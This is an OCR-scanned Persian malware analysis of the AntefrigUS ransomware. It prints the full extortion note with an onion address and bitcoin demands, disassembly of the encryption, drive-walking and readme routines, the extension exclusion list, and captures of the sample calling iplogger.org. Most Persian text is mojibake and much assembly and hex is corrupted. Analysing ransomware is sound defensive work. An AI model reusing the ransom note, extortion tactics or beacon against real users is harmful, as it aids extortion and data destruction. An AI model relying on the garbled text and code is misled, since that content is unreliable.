JIAIZY B S

AnteFrigus



e
wleUblis yglis gilbliyl yljg ‘ —

whplele Ublg 5 gUs ¢ lojLu

e aolio e ¥
e e e Ly Jles 0
PPN o> 0 5L1NV-0
A e e as oLl g, Y0

V) e e LS e, Y1



=le Ublg glis g eulbliyl eyljg

2loy

whplele Ublg 5 gUs ¢ lojLu

D dede L)

sz 5 AnteFrigus Ol L (o)l 4y by ool ceodhe YA Jl sl 5 oo sl gl 5

)\ AnteFrlgUS )‘Jﬁ‘cl.’ J\.Sda_: LSJ‘KJ'“) ‘) L}.:L»J.g v.:.mMC j’.’.bb )‘ Lfl"b G\.ﬁ 9 o3l J‘_}S Bda )40
LSL_AJ_LU &mjﬁ) LS\)—’ E) oJJS oJu.'Z_..»‘ .Jj} J.b.v.)))ﬁ LSLQJ.LL‘B Ls‘)‘ﬁj‘) C,.@.?— SalsaZO V-:-’"‘)‘,ﬁ‘

Aol e J\}A|CL3 gl sledd Jize

o Sl ol ol U Slaseis Y

Random

803ab938b252bb0d9f9572e66cca0392
a8ac73dfd9f5761795c5796531f1b95ff02d3b79
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@ 36 engines detected this file

fI7763f5910634b6d92137e9c5d6a0c6d7098d152e4d14idd8caleaacdae2al2
ditcodexgigas.a8ac73dfd9f5761795c5796531f1b95ff02d3b79
peexe
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Organize = Include in library = Share with = Mew folder = ~ [ @
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4 5% Favorites MName Date modified Type Size

Bl Desktop 12/4/2019 6:07 PM  Text Document IKEB

4 Downloads
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| o test 12/4/2019 6:08 PM  File folder
|| test {1).apk.qrja 12/4/2019 6:07 PM  QRJA File 9,288 KB
| test {1).avi.qrja 12/4/2019 6:07 PM  QRJA File 31,433 KB
| test {1).bmp.qgrja 12/4/20196:07 PM  QRIJA File 737 KB
|| test (1).DAT 10/31/201512:27 ...  DAT File 96,802 KB
| test (1).docx.qrja 12/4/2019 6:07 PM  QRJA File 177 KB
|| test {1).htm.qrja 12/4/2019 6:07 PM  QRJA File 90 KB
| test (1).html.grja 12/4/2019 6:07 PM  QRJA File 3,048 KB
| test (1).jpg.qrja 12/4/2019 6:07 PM  QRJA File 374 KB
| test (1).mkv 10/22/2017 3:41 PM MKV File 864,500 KB
| test (1).mp3.qrja 12/4/2019 6:07 PM  QRJA File 4,485 KB
| test {1).mpeg.qria 12/4/20196:07 PM  QRIJA File 45,740 KB
|| test (1).pdf.qrja 12/4/2019 6:07 PM  QRJA File 4,256 KB
__| test (1).ppt.qrja 12/4/2019 6:07 PM  QRJA File 579 KB
| test {1).rar.qrja 12/4/2019 6:07 PM  QRJA File 1KB
| test (1).srt.qrja 12/4/2019 6:07 PM  QRJA File 93 KB

=) test (1)
|| test (2).mp3.qrja

11/1/2010 10:00 AM
12/4/2019 6:07 PM

MPEG-2 T5 Video

QRJA File

1,015,200 KB

6,296 KB
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File Edit Format View Help

5433 $5 8% 985385 93593 $$59%% 43839 $4854% $$3% $9 43 5388 .
3% $3 335 3% $5 53 53 53 5% 1% $3 $35 33 3% M
§$3333 3% 335 $$ $338 $338 $3335 i3 $3 333 $5 3 $53%

§5 $5 33§58 $$ $3 53 $§ 53 i% $5 $3 $5 5§ $$
3 3% 3% 48 $$ $$359 53 $3 53 533839 5338 $3%8 $53%

[+] whats Happen ? [+]
Your files are encrypted, and currently unavailable.You can check it : all files on you computer has expansion

qrija.
By the way, everything is possible to recover(restore), but you need to follow our instructions.Otherwise, you
cant return your data(NEVER).

[+] what guarantees ? [+]

Its just a business.we absolutely do_not care about youand your deals, except getting benefits.If we do not do
our workand liabilities - nobody will not cooperate with us.Tts not in our interests.

To check the ability of returning files, You should go to our website.There you can decrypt one file for free.
That is our guarantee.

If you will not cooperate with our service - for us, its does not matter.But you will lose your timeand data,
cause just we have the private key.In practise - time is much more valuable than money.

[+] How to get access on website ? [+]

You have two ways :

1) [Recommended] Using a TOR browser!

a) Downloadand install TOR browser from this site: https://torproject.org/

b) Open our website : http: //yboa?nwdva]dtumgfm4fmmv1u3ccx11eut2xvzgn5uq1b]d5n7p3k1d onion/?qrija

2) If TOR blocked in your country, try to use VPN! For this:

a) Open any browser (Chrome, Firefox, Opera, IE, Edge) and download and install free VPN programm and download
TOR browser from this site https://torproject.org/

b) If you are having difficulty purchase bitcoins, or you doubt in buying decryptor, contact to any data reco
very company in your country, they will give you more guarantees and take purchase and decryption procedure
on tEeTse1ves. Almost all such companies heared about us and know that our decryption program work, so they
can help you.

m

when you open our website, put the following data in the input form:
Key:
1977=87;7;=;<>? (Hktpu(xygh(JA' :@6@"'NIC6TyE"LA"B@68: "NiC6iyE"

Extension name :

P IDANGER 11
DONT try to change files by yourself, DONT use any third party software for_restoring your data or antivirus so|
Tutions - its may entail damge of the private keyand, as result, The Loss all data.

TERERNN

ONE MORE TIME : Its in your interests to get your files back.From our side, we(the best specialists) make every -
< | 111 | ol s
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Extension name: kflapy

Key:

55 Sl ey amio G ENTER @38 (55 r SIS L llS e 3555 51 ey kS Jls)l

4 day 5 hours and 17 minutes

To recover your files
pay the ransom.

You must hurry up because the ransom
price will double after the counter at the
top right of this page will reach zero. If you
fail to pay until that time, the price will
increase x2 (doubled), so if it was 1995

5D it will become 399

To pay the ransom you must buy bitcoin,
and send exactly this amount of btc

2805171 BTC to address:

We provide 1 test decryption to prove that

we can recover your files. Ask the operator

chat to decrypt the file

Cryj
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Attention!ittt ' | &

=

Your computer is encrypted !!! For decryption see the file with instructions on
your desktop !!!

OK

:JL:J.;‘ U‘:’) Y-o0
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IOS wersion (major) Q006 Windows Vista I
QS version {minor) Q000
Image version (major) 0o00
Image version (minar) Qo0o
Sub system version {major) o0a
Sub system version {minar) Q000
Win32 version 0200000
Size of image 00073000

A o V-1

Lleds G UPX S L Antefrigus SRl sl LB 53 esls 5 a8 sla iy

Mr Virtual ...  Virtwals... RAWD... RAWsize Flags Mame
01 00001000 00042000 00000400 00000000  E0000O30  UPXO
02ep 0004A000 Q0020000 00000400 0Q002CCO0 E0OOO040  UPX1
031... 00077000 00001000 0002D000 000D00400 0000040  .rsrc

public start

start proc near

First bytes (hex)

IZERO 5IZE!
25F5 DB FF EB 11 00 45 58
(0 00 00 00 00 00 00 00 00

S LJ“"L;— S CZ?tﬁ ‘Lﬁi‘J;r‘ L}iké d);’;g “j;%JT j‘ o

; FUNCTION CHUNK AT B84270AE SIZE 00868088127 BYTES

; FUNCTION CHUNK AT B8427B6A

call

sub_428828

imi loc 4279AE

SIZE 00000026 BYTES

; s============== S UBROUTTIH
sub_428828 proc near
mov BCx, _ secu
push esi
push edi
mow edi, GBB4BEA
mow esi, BFFFFAA
cmp ecx, edi
jz short loc_42
test esi, ecx
jnz short loc_42
loc_428842:
call Isuh 4287DB___sub h28?DB|
moy BCx, eax
cmp ecx, edi
ol il (521 inz short loc_ 428854
%OF @uu ecx, OBBL4BESUFh
mov jmp short loc_ 428862

mov ebp, esp

sub esp, 14h

and [ebp+SystemTimeAsFileTime .dwlowD
1lea ead, [ebp+SystemTimeAsFileTime]
and [ebp+SystemTimeAsFileTime .dwHigh
push eax ; 1pSystenTimefs
mov eax, [ebp+3ystemTimeAsFileTime.d
®or eax, [ebp+SystemTimeAsFileTime.d
moy [ebp+uar 4], eax

call ds:__imp_GetCurrentThreadId

I:;r [ebp+uvar_4], eax

call ds:GetCurrentProcessid

s0r [ebp+var_4], eax

lea eax, [ebp+PerformanceCount]

push eax ; lpPerformanceC
call ds:=QueryPerformanceCounter

mov eax, dword ptr [ebp+PerformanceC
lea ecx, [ebp+uvar_4]

®or eax, dword ptr [ebp+Performancel
E{iTd eax, [ebp+uvar_L]

®oF ead, ecx

leave

retn

endp

GetCurrentProcessld wl 5 i b 5 (kS o 1> 1, Ol &8 gy dal b s IHIZL BB aslts iomes

S o8l SL 3 (s 3 Ll sl )‘j—’"@}. L sl oLl cg> GetCurrentThreadld

'Jj*:L5A Lréskﬁiﬁ Ljibjg Vlaﬁgw ){}é‘ﬁ;sﬁ*» t;ﬁ o

2loy
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var_1u = dword ptr -1Ch
; START OF FUNCTION CHUNK FOR start var_18 - dword ptr -18h
var_14 = dword ptr -1ih
loc_4L279RAE: var_18 = dword ptr -18h
push 14h var_C = dword ptr -8Ch
push  offset off_l66938 var 8 - dword ptr -8
call  sub_428780 o - dword ptr -4
push 1 -
call sub_u276D4 push ebp
pop ecx moy ebp, esp
test al, al and dword BGBF84, 0
1z loc_427B ; Attributes: bp-bas sub esp, Zhh
or dword_s680CH, 1
sub_4276D4 prot push Bhh : ProcessorFeature
ll a [5=1 [call IsProcessorfFeaturePresent |
wor b1, bl arg_8 = test eax, eax
now [ebp-19hn], bl pust jz loc_427FCB
and duord ptr [ebp-L e and [ebp+var_18], @
call sub_u276A2 s "3;1 gg: (SEE
mou [ebp-2&4h], al i Push -
mou eax, dword B6BFE now ey .,.,,p.
Xor ecx, ecx -
;:1‘1; sg: ecx loc_4276E4: 1 ; CODE XREF: sub_4276D4+71j
- ’ call
iz loc_uZ7B1R call  sub_u2BBA1
test al, al
. “ Z . .. . .
Lgd oo 518 L )|J-.9\CL3 LS 55 ol eslatul gladluls aslsl s
3= B R TT I
jmp short loc_431D7D
test eax, eax e
jnz short loc_h3- i
loc_431D14: ; CODE XREF: sub_431CEG+1FTj
mov ebx, ds:1pLibFileName[ebx*4]
push 8aoh ; dwFlags
push 3] ; hFile
push [ebp+arg_( push ebx ; 1pLibFileName
push [ebp+arg ¢ lcall dsELoadLlhrar"Exw|
call sub_431cE( nov esi, eax
pop ecx lEESt esi, esi
pop ecx jnz short loc_431D6B
test eax, eax call ds:GetlLastError
jz short loc_ cmp eax, 57h
jnz short loc_431D5B
push 7
ush offset afpiis ; “api-ms-"
il’ﬁl@ Bush ebx P b
push [ebp+1pProcHame] ; 1pfF call sub_43BAES
pus eax 3 hioc add esp, BCh
llcall ds:GetProchddress | test eax, eax
test eax, eax jz short loc_431D5B
jz short loc_u31DD9 push esi ; dwFlags
T 1 push esi ; hFile
; push ebx ; lpLibFileName
call ds:LoadLibraryExW
iﬁl@ mouy esi, eax Y
jmp short loc_431D5D

el ealana! 3\":’."‘)"’96[5 QJ)'_))J ;}‘)v\{jw\ 63 0 g J)} JS‘)J KHJMCUJ‘ 4)\J.9\CL> U'i‘

el dal g sy b as Slus Ol

[ehﬁ+ﬁar;2ﬁﬁ], eax

moy
mouv [ebp+var_2DB], 188610
mou eax, [eax-4]
mov [ebp+var_21C], eax
mouv eax, [ebp+arg_=i]
mouv [ebp+var_3208], eax
mou eax, [ebp+arg_8]
mov [ebp+var_31C], eax
mou eax, [ebp+H]

+
call ds:IsDebuggerPresent
push i} 5 IplopLevelExceptionFilter
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CL_AS (’U GetlogicalDriveStringsW @U &,k sl ! pause ¢L§ 4 ~6 0,3 s Start @U Saslsl s

S g e 3L s u_,L,J.Ev.:MM); 350 Slaglys

push esl
push edi
push eax
lea eax, [ebp+7Chh+uvar_7DA]
mou large fs:@, eax
sub esp, 28h
mou ecx, 26EE8Bh
moy eax, esp
moy duword ptr [eax], offset off_u46OF88
moy duword ptr [eax+4], offset sub_485684
bl, bl moy [eax+24h], eax
short loc_427ABF call sub_4855BE
add esp, 28h
call ds:GetConsoleWindow
Xor ebx, ebx
'i ) ] push ehx ; nCmdShouw
push eax ; hind
@— la call ds:Showllindow
sub_L438LuF push 2716h ; duMilliseconds
e call ds:Sleep
m push offset MultiByteStr ; "C:/Instraction/"
Cy call sub_434FB2
11 mou [esp+894h+1pHultiByteStr], offset aCQweasd ; “C:/queasd/™
: call sub_434FR2
) ] mov edi, ds:GetLogicalDriveStringsW
\ 2 ] pop ecx
push ebx ; 1pBuffer
ush ebx ; nBufferLength
%rmmﬁnmmmn—gsh
X0r ecx, ecx
mou esi, eax
278RNE push 2

Dy e ez ol CBL sla gl s ¢ c.,\.JJ.e ol aslsl s s

=R

loc_ 486D31:

cmp [ebx], ax
jnz loc_ 4B6ABE
il e =
loc 4B6ABE: ; 1pString2
push ebhx
lea eax, [ebp+7C4h+Stringi]
push eax ; 1pstring1
call ds:1strcpyld
lea eax, [ebp+7C4h+String1]
ush eax : 1pRootPathHame
llc]:_al'l_dm
lea eax, [ebp+7Cah+Stfingi]
push eax ;] 1pRootPathHame
call ds:GetDriveTypel
cmp eax, o
jnz loc_hB6D22

AR
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push offset akE ; VE=

push BCX

lea ecx, [ebp+7Chh+var_354]

call loc_4BBAEF

push offset abD ; bt

push eCcx

lea ecx, [ebp+7Chh+var_34C]

mou byte ptr [ebp+7Chh+var_7CE8], 36h

call loc_4BBAEF
push offset asc_L46@8BBC ; "F:¢

push eCX

lea ecx, [ebp+7Chh+var_344]

mouy byte ptr [ebp+7Chh+var_7C8], 31h
call loc_48BAEF

push offset al ; It

push ecx

lea ecx, [ebp+7Chh+var 33C]

mov byte ptr [ebp+7Chh+var ¥C8], 32h
call loc_48BAEF

push offset al S |-

push ecx

lea ecx, [ebp+7Chh+var_334]

mou byte ptr [ebp+7Chh+var_7CE8], 33h
call loc_4BBAEF

push offset aG N H-h

push ecx

Ogzman Sledbl L 3 (P 3 357 50 sla sl Sledlb ¢Lu“ L5 I ey 5 gy ol aelsl s
g Ll e b )18 L

call ds:GetUSErHamewl

lea eax, [ebp+/C4h+Buffer]

push eax

1ea ecx, [ebp+7C4h+var_384]

call sub_48928C

push 8

pop ebhx

mow byte ptr [ebp+7Cih+var_7C8], BBh
lea ecx, [ebp+7Chh+var_384]

cmp [ebp+7C4h+var_378], ebx

mow eax, [ebp+7C4h+var_374]

cmounb ecx®, [ebp+7Chh+var_384]

1ea eax, [ecx+eax=2]

lea ecx, [ebp+7C4h+var_384]

cmounb ecx®, [ebp+7Chh+var_384]

push ecx

push eax

push ecx

1ea ecx, [ebp+7C4h+var_42C]

call sub_48B9D2

b{i] g eax, eax

mou [ebp+7C4h+var_358], BFh

mow [ebp+7C4h+var_35C], eax

mou byte ptr [ebp+7Chh+var_36C], al
1ea eax, [ebp+7C4h+var_L42C]

mow byte ptr [ebp+7Cih+var_7C8], BDh

'Y
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.)~}~:L5A JL?=i| LjiLiJB r;;uﬁ:~ﬂ L:JL:§:~MD 4JHUL49 RSP Bx )‘jﬁ\cz}% LSA‘-7>LC:}{ rLiﬁﬁ Q}iLé o

oy edx, offset aClsers ; “"C:/Users/"

ea ec®, [ebp+7Chh+var_ B20]

all sub_4B8BSCC

byte ptr [ebp+7Chh+var_7CH], BEh
[esp+894h+]1pHultiByteStr], offset abDesktop ; “/Desktop/’

!
lea eax, [ebp+7Chh+var_ 838]
push eax
call sub_4ABLEA
add esp, BCh
1ea ecx, [ebp+7Chh+uvar_2CL4]
mowv byte ptr [ebp+7Chh+vayr_7CH], BFh
push BCX
mouy ecx, eax
call sub_4892C8
push eax
1lea ec®, [ebp+7Chh+var_7ELC]
call cub_4893089
mov byte ptr [ebp+7C4ih+var FC8B 18h
push offset aReadme txt ; “-readme.t=t"
1lea eax, [ebp+/Chh+var_ JEL]
push eax
lea eax, [ebp+7Chh+var_ BSH]
push eax
call sub_4ABSEA
1ea ecx, [ebp+7Chh+uvar_36C]
add esp, BCh
cnp ecx, eax
jz short loc 4B6EAA

Z -

"’Jﬁgu" )‘Ja
push offset a2IfTorBlockedI ; ““r%n 2} If TOR blocked in your country,”...
lea eax, [ebp+7Chh+var_3Ar1
mov byte ptr [Enp+?cqn+u;a2IFTorBluckedI db 8Dh . BAh i DATA SBEEC D k3 I x 1
push eax db |* 2) If TOR blocked in your country, try to use UPH! For this:',8Dh,B8Ah
lea eax, [ebp+7Chh+var_8: db |' a) Open any brouwser (Chrome, Firefox, Opera, IE, Edge) and downl®
push eax db |‘oad and install free UPN programm and download TOR browser from t*
call sub 4BBSBO db |'his site https://torproject.org/ ',0Dh,8Ah
add esp, OCh db |' b)Y If you are having difficulty purchase bitcoins, or you doubt®
1lea ecx, [ebp+7Chh+var_3: db |' in buying decryptor, contact to any data recovery company in you’
moy byte ptr [ebp+7Chh+y: db |'vr cuuntry,_they will give you more guarantees and take purcha§e a'
push ecx db |"'nd decryption procedure on themselves. Almost all such companies *
mov ecx, eax db |'heared about us and know that our decryption program work, so the®
call sub 4892C8 db |'y can help you.",8Dh,B8AK
push eax db |8Dh,BAN
lea ecx, [ebp+7Chh+var_8I db | When you open our website, put the following data in the input f’
call sub_4893 89 db |'orm:*,8Dh,8AN
push offset aExtensionMame db |6Dh, BAh
lea eax, [ebp+7Chh+var_8I db |'Key:",6Dh,8Ah
mou byte ptr [ebp+7Chh+u; db [BDh, AN, B
push eax a_ByTheWayEvery db |*.° ,8Dh, BAh ; DATA XREF: pause+817To
lea eax, [ebp+7Cah+var_8: db |'By the way, eueryt?ing is Possihle to_recouer(restore), but you n*
push eax db |"eed to follow our instructions.Otherwise, you cant return your da’

OF a5 o 03 o8 250 o3l Ghled L3 sl s 5 Ol sl my (sl plig 2 osdls

A oLl

Y
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ecx, [ebp+7C4h+Vasome0fTheFiles:

push offset Caption
push offset Text

push ebx

call ds:MessageBoxW gaption:
push offset aPause
call sub_4342ER

pop ecx

lea

call sub_4859E4

moy byte ptr [ebp+7C
cmp [ebp+7Chh+var_32
jnz loc_hB77F8

; “"Attentionttrrrers

; "Your computer is encrypted ?'? For decr'...

; const WCHAR Caption

; DATA XREF: sub_405684+16To pause+C85To

align 18h
const WCHAR aSome0fTheFiles

- - +
{Some of the files are encrypted, in order to decrypt them>
< go to the C:/Instraction/ file and read the instructions>
< 1.0

unicode @,
unicode @,
unicode @,

SIS 50, Cgr Salsa20 (5L 5a, )51 5l AnteFrigus [l lrl s S o s gla s 2 b

a_%av?Concretep db
db
db
db

off 469784 dd

LS o eslital Sb 3 s 5 s ks, ee sla LU

'.7AV?SConcretePolicyHolder@fSalsa? B PolicyRCryptoPPERV?SAdditive !
*ipherTenplate@U?5abstractPolicylolder2uAadditivecipherabstractPoli
'cyBCryptoPPEEVSyYymmetricCipher@2@ECryptoPPEEEZEUAdditiveCipherAbst’
'ractPolicy@?ERECryptoPPEA" , 8

offset off u45587C ;: DATA XREF: .rdata:off 46381uato

L g ad gy SIS ey AT e 5 sla L

dh
dh
dh
dh
dh
db
db
db
dh
dh
dh

‘dll*
"386°
*adu*
*ani®
lhigl
"bat*
"bin"
‘cab’
‘cmd*
‘com*
"cpl’
db “cur’,
db “deskthemepack’,8
align 18h

db 'diagcab’,8

db 'diagcfg’,8

db *diagpkg’,8

db ‘dru",@

db “"exe’,d

db *hlp-,@

db "icl',8

db "icns".@

pack

! )i~5 g:J)‘?qa A LACJiLé d)i‘ L}Atg &:ﬂdﬁﬁ;

.adv, .ani, .bat, .big, .
.diagpkg, .dll, .drv, .exe, .hlp, .hta, .icl, .icns, .ico, .ics, .idx, .key, .Idf, .Ink, .lock, .mod, .mpa,
.msc, .msi, .msp,. msstyles, .msu, .nls, .nomedia, .ocx, .pck, .prf, .rom, .rtp, .scr, .shs, .spl,
.sys, .theme, .themepack, .wpx

bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg,

iplogger.org a_wls Ly oL 3 e =3l ar B ge &.61 U,UJ 3L sl s AnteFrigus )lj-_é\cb.

LS o 515, b3

\}2



=le Ublg glis g eulbliyl eyljg

whplele Ublg 5 gUs ¢ lojLu

L 4
il e =] il s 5
push ebx ; dwFlags
loc_4B584C: push ebhx ; lpszProxyBypass
movsx ax, byte ptr [esi] push ebx ; 1pszProxy
lea ecx, [ebp+4EBh+var_438]| |push ebx ; duAcce pE
movzx  eax, ax push offset szAgent ; I
push eax mov byte ptr [ebp+4E8h+var_ .
call sub_48D31F mov ebp+4E8h+var 4F5], bl
inc esi ca s:lnternetlpen
mov ebx, eax
test ebx, ehx
jz loc_485927
r i
_ Y
I
push 1 ; duwContext
E{ilg eax, eax
push eax ; duwFlags
push 3 ; duService
push eax s 1pszPassuord
push eax ; lpszUserHame
push 5 Bh ; nServerPort
push |loffset szServerHame "1pluqqer-urq"ﬂ
ush ebx : hinternet
call ds:InternetConnecty |
mou edl, ds:Interne oseHandle
mowv [ebp+4E&h+hInternet], eax
test eax, eax
jz short loc_ 485913

et 53 1Pl Slad OLL 51 e OT Il 503 b sl g, (sla LU 4 ged S35 2 Lo s 2 S

= - E\test\test (1).mpeg.bin CAUzers\Admin\Desktop\test (1).mpeg.grja_bin
00000000 00 00 00 20 66 74 78 70 &89 73 6F &D 0 ~ |00000000 20 16 4c 3D 3F 1B 6E 1A B8 D& 2B 30 1«
00000010 B9 73 6F 6D 69 73 GF 32 61 76 &3 31 & | Joooo00l0 BC D3 FO 59 03 AD 6B 14 D1 FB 96 9D i |
00000020 00 00 00 08 66 72 &5 65 02 C2 DB D7 & 00000020 40 4F DA 21 B5 DD 48 1F 82 0B 32 92 :
00000030 DE 02 00 4C 61 76 €3 35 35 2E 36 32 2 [00000030 SE 91 1B DE 34 OF 01 3B F5 B2 6D 8F I
00000040 00 42 20 08 cl 18 38 00 00 02 7F 06 O 00000040 B& 09 57 6B EE B9 8A &C RE Fg 84 17 ¢
00000050 DC 45 E9 BD E6 D9 48 BT 96 2C DE 20 D 00000050 (CE 35 21 7c 35 02 3F 57 7E FA E8 a0 (
00000060 T8 32 36 34 20 2D 20 &3 &F T2 65 20 3 00000060 DA D4 E6 35 RO OF 09 D2 BD F3 48 E1 ¢
OOOOOGT. 9 29 24 22 219 90 £ L2 27 24 24 24 0D faTalalalalaksdal o7 719 o~ wQ T Lo £ Fais] 3 EF 11 lg :
0000008 63 3B EE ¢
00000089 Files are very different! 4 24 55 EF ]
000000 . . s DF F7 83 ¢
1
000000 Compare It! could not find any significant same blocks [
0000000 9c 69 D I
000000Dt 2n|D8 c7 38 1
000000ED 3D 30 20 72 &5 66 3D 33 20 64 65 B2 & 000000EQ DF 59 E2 EQ0 2F B2 98 DB 59 c4 R2 cl ¢
000000F0 3D 31 32 30 32 30 20 61 6E 61 6C 79 7 000000F0 D1 D5 91 21 DC 83 E4 7A 75 36 BO 39 (
00000100 78 31 32 30 78 31 31 31 20 6D 65 3D & 00000100 3D 20 F6 3F 7C 7D DA BO 74 72 DC 3E ¢
00000110 73 75 &2 €D 65 3D 37 20 7O 73 79 3D 3 00000110 0B 51 2a Fé& 60 EG 47 28 68 D2 F7 acC (
00000120 79 5F 72 €4 3D 31 2E 30 30 32 30 2E 3 00000120 55 17 DT 99 10 05 00 5A 41 F8 AB BB (
00000130 69 78 65 €4 5F 72 65 66 3D 31 20 &D & 00000130 58 OD 3F 62 OB BT ED 97 EQ CF 6B 28 I
00000140 BE &7 &5 3D 31 36 20 63 68 T2 6F &D & 00000140 54 BE 85 ZE E7 Al 47 F3 8D 1E A3 24 ¢
00000150 3D 31 20 74 72 &5 6C 6C &9 73 3D 31 2 00000150 BB D6 28 A3 35 FD ED BS D3 6D 14 14 ¢
00000160 &4 63 74 3D 30 20 63 71 &D 3D 30 20 & _ |00000160 EA 21 2F D7 43 €0 71 37 2D F2 7C 1E : _
e e Y e e T
8/6/2017 1:50:22 PM | | 44.7 MB (46837573) 000000D8 (216) | || 12/4/2019 6:07:39 PM | | 44.7 MB {46837575) 000000D& (216)

\o



=le Ublg glis g eulbliyl eyljg

whplele Ublg 5 gUs ¢ lojLu

WSS Sl 5 s Y1

i ol 5l Ol Bl Sl e e sl 603 S5 s 5 g

1l 03,5 513 bl OT L I3l & el s

A4 iplogger.org Av £TY TCP,HTTP oldi
YXYV.Y¢YNAV | isrg.trustid.ocsp.identrust.com A+ TCPHTTP 5,1 435wl 03 gutos

VY.YEV VAN ocsp.int-x3.letsencrypt.org A+ TCP,HTTP C|
.-L~:L€L50 _ﬂ<>§‘zz}{ &:JLL’LTSJ‘ g:)lci<>:r 9 o )L?{i‘ gf:¢§|<): “ l’Jﬁ,f‘ <fij <)i.9L“2:

36 71.804945 192.168.211.142 88.99.66.31 TCP GET /1Hbnw7 HTTP/1.1
37 71.831476  [88.99.66.31 | 192.168.211.142 TCP User-Agent: WinInet Test
38 71.831548 192.168.211.142 88.99.66.31 TCP [Host: iplogger.ore
39 71.831758 192.168.211.142 88.99.66.31 HTTP Connection: Keep-Alive
40 71.831994 88.99.66.31 192.168.211.142 TCP
HTTP/1.1 381 Moved Permanently

41 72.234126

44 72.332420

Location: https://iplogger.org/1Hbnw7
83 88.285258 88.99.66.31 192.168.211.142 TCP Date: Wed, @4 Dec 2019 15:11:24 GMT
84 88.285326 192.168.211.142 88.99.66.31 TCP Server: nginx

88.99.66.31

192.168.211.142

192.168.211.

88.99.66.31

Content-Type: text/html
Content-Length: 178

192.168.211.142
192.168.211.142
88.99.66.31
88.99.66.31
88.99.66.31
88.99.66.31
192.168.211.142
192.168.211.142
88.99.66.31
88.99.66.31

192.168.211.142
192.168.211.142
88.99.66.31
88.99.66.31

192.168.211.142
88.99.66.31

192.168.211.142

88.99.66.31

ferBlH B (e o ZeW B0 JE.3.q{"y..@f....0
88.99.66.31 o | - Pelo
88.99.66.31 Tisl] e 0]1.0 U usye
LA e Let's Encrypt1#9!..U....Let"s Encrypt Authority X30.
192.168.211.142 TLSvY| 1918241552307
192.168.211.142 TCP | 90919715523076.1.0. . .U. . . . iplogger.cond. ."d
192.168.211.142 TSV || *H.
88.99.66.31 TCP W (. 0..
88.99.66.31 B |
192.168.211.142 TCP 7u...... -1
192.168.211.142  Tisvi| h-.39.8." s yeeieeees .- - .
199 ) D X....U. ...U.%..0....05c.}....9.. et 0..|http://ocsp. int-x3.letsencrypt.orgd/L .+.....0. . #http://
38.99.66.31 Top cert.int-x3. letsencrypt.org/p. ... U...... 0..... 02ip.ru..2no.co..api.iplogger.com.
€7stat.ru. .1pgrabber.ru. . ipgraber.ru..iplis.ru..iplo.ru..iplogger.co. .iplogger.com
88.99.66.31 TLSVY| . 5 5 5
iplogger.info..iplogger.org. .iplogger.ru.
R 5, A1 e maper. info. .www.02ip.ru

88.99.66.31

wwi.ezstat. ru. .www.ipgrabber.ru. .ww.ipgraber.ru. .wwmw.iplis.ru. .www.iplo.ru. .www.iplogger.co. .www.iplogger. com. .www.iplogger. info. .uwm

TCP iplogger.org. .. iplogger.ru. .wm.maper. info

192.168.211.142 www.yip.su..yip.suel..U. .E@C6...g..... 07, .+ 0(0&. .+..oue.... http://cps.letsencrypt.orgh. ..
EI Veeaiaaaaaans Virriinnnn Nf+ % ghoop IS-0 % ome GOE.!...... EN L . h=..... c...e.. U.=ho..s.ooy...
88.99.66.31 L.D...[......u.08v.1.1..... Qulennnn Yoounn Tooood m..7..... FeD. ..mzb...... Hv.l...n.[b.M......
Seennn . ..+]..F...}.2..R....=b0
*H
192.168.211.142 t
........... 5.E.ide.....0.z. a0 Y b am U VLA e CL LGl N LGN L= 2, kKD =L A e, L Lo/ L RS

192.168.211.142
2.21.242.187
192.168.211.142
192.168.211.142
2.21.242.187
2.21.242.187
2.21.242.187
192.168.211.142
2.21.242.187
192.168.211.142

|2.21.242.187 I

192.168.211.142
2.21.242.187
2.21.242.187
192.168.211.142
192.168.211.142
192.168.211.142
2.21.242.187
192.168.211.142
2.21.242.187

TCP GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRYIGhNQxXL SSGKBNMArPUcsHYovpgQU
TCP Accept: */*

TCP User-Agent: Microsoft-CryptoAPI/6.1

HTTP Connection: Keep-Alive

- Host: fisrg.trustid.ocsp.identrust.com |

LG HTTP/1.1 200 OK

0Csp Server: Apache

TCP Content-transfer-encoding: Binary

TCP Last-Modified: Sun, @1 Dec 2019 13:15:57 GMT

TCP ETag: "@dldcePe24b965fd3445at6fa38ad92503410bco™

1



P
=le Ublg glis g eulbliyl eyljg ‘

whplele Ublg 5 gUs ¢ lojLu

132.168,210,,14) [72.247.178.16 | TCP I GET /MFMWUTBPME@WSzAIBgUrDgMCGEUABBR%2B5mrncpaz%2FPiiIGh
72.247.178.16 192.168.211.142 TP | 1.1

192.168.211.142 72.247.178.16 TCP ||  Accept: */*

192.168.211.142 72.247.178.16 HTTP| User-Agent: Microsoft-CryptoAPI/6.1

72.247.178.16 192.168.211.142 TCP Connection: Keep-Alive

72.247.178.16 192.168.211.142 ocsp| |Host: ocsp.int-x3.letsencrypt.org |

I HTTP/1.1 200 OK

192.168.211.142 72.247.178.16 TCP

Server: nginx
72.247.178.16 192.168.211.142 TCP £ . q -
Content-Type: application/ocsp-response
192.168.211.142 72.247.178.16 TCP Content-Length: 527
.J*zQLSA )‘)j‘zzp HTTP LSLAgLMw‘j;;)D “ l’jgjﬂ S Jijﬁéﬁ
[s 301 HTIP iplogger.org  /1Hbw? 178 no-stor... texthiml 28h2e924924320d 55308 3bc 372599890 35a09 19209 18ad 312 f8a7a433ecd: 7900
&7 200 HTIP Tunnel to  iplogger.org:443 0 208b2e9249e4320d59c3f0a 3be32599a9¢ 35809 19509 18ad 3 2fBaTa433ecd: 7900
Els 200 HIP isrg.frustid ocsp.identrust.com  MFEWTZENMEswSTAJBgU... 1,398 public, ... application/ocspresponse 2c8b269249e4320d59c3fb0a 3bc 37259900 35a09 19809 18ad 3 2f8a7a433ecd: 7900
Els 00 HIP ocsp.int-x3.letsencrypt.org  MFMWUTBPMEOWSZAJBG. .. 527 public, ... applicationfocsp-response 2c8h2e924924320d59¢ 30 3bc 3259985 35ac9 19209 18ad 3F2f8a7a433ecd: 7900

:&U.S/J'.o) Y-

Vv



